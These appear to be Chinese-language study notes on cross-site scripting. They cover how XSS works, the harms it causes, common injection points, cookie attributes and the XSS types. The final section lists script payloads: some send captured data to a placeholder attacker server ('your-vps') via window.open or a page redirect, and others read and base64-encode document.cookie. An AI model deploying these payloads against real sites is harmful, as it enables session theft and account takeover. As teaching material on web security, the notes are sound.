XSS原理
XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。
XSS危害
攻击者通过web应用程序发送恶意代码,一般通过浏览器脚本的形式发送给不同的终端用户,当一个Web程序的用户输入点没有进行校验和编码,将很容易导致XSS
- 盗取各类用户帐号权限(控制所盗窃权限数据内容),如机器登录帐号、用户网银帐号、各类管理员帐号
- 窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作
- 劫持用户(浏览器)会话,从而执行任意操作,比如非法转账、强制发表日志、电子邮箱等…
- 强制弹出广告页面、刷流量等等…
- 网页挂马
- 进行恶意操作,比如篡改页面信息、删除文章等;
- 进行大量的客户端攻击,比如ddos
- 获取客户端信息,比如用户的浏览历史、真实ip、开发端口等;
- 控制受害者机器向其他网站发起攻击
- 结合csrf漏洞实施进一步危害
- 提升用户权限,包括进一步危害
- 传播跨站脚本蠕虫等
容易出现xss的地方
数据交互点
get、post、cookies、headers
反馈与浏览
富文本编辑器
各种标签插入和自定义
数据输出的地方
用户资料
关键字、标签、说明
文件上传
Cookie
cookie是指某些网站为了辨别用户身份而存储在客户端上的数据(经常通过加密).只要有了某个用户的cookie,就能以它的身份登录
Cookie 主要有以下用途:
会话管理:登陆、购物车等应该记住的其他内容
个性化:用户偏好、主题或者其他设置
追踪:记录和分析用户行为
发生跨域xhr请求的时候,即使请求的url的域名和路径都满足cookie的domain和path、默认情况下cookie也不会自动被添加到请求头部
Name: Cookie的名字
Value: Cookie的值
Domain: 该Cookie属于哪个域,只有这个域和其下级目录能获取该cookie
Path: 该Cookie所属路径,只有这个路径和其下目录可以获取该cookie
Expires/Max-Age: Cookie的有效期
Httponly: 如果设置了该值,则cookie不能被js读取
Secure: 该Cookie仅能有HTTPS协议传输
SameSite: 用于定义cookie如何跨域发送,可以防止csrf攻击
补充
xss用于是攻击浏览器的,并不是攻击服务器.浏览器(前端)也并没有权限去写入文件,这个是交给后端去做的.
XSS 分类
反射型xss
存储型xss
可以存储到数据库,危害性最大大
Dom型xss
DOM是文档对象模型,是HTML文档的对象标识,同时也是外部内容(例如JavaScript)与HTML元素之间的接口
和反射性
XSS Payload
外带
在服务器上监听端口
<!-- 打开一个新窗口,外带数据 -->
<script>window.open("your-vps+{xss获取的内容}")</script>
<!-- 页面跳转到你的服务器,外带数据 -->
<script>window.location.href="your-vps+{xss获取的内容}"</script>
获取cookie
<script>alert(document.cookie)</script>
<!-- base64编码 -->
<script>btoa(document.cookie)</script>
<script>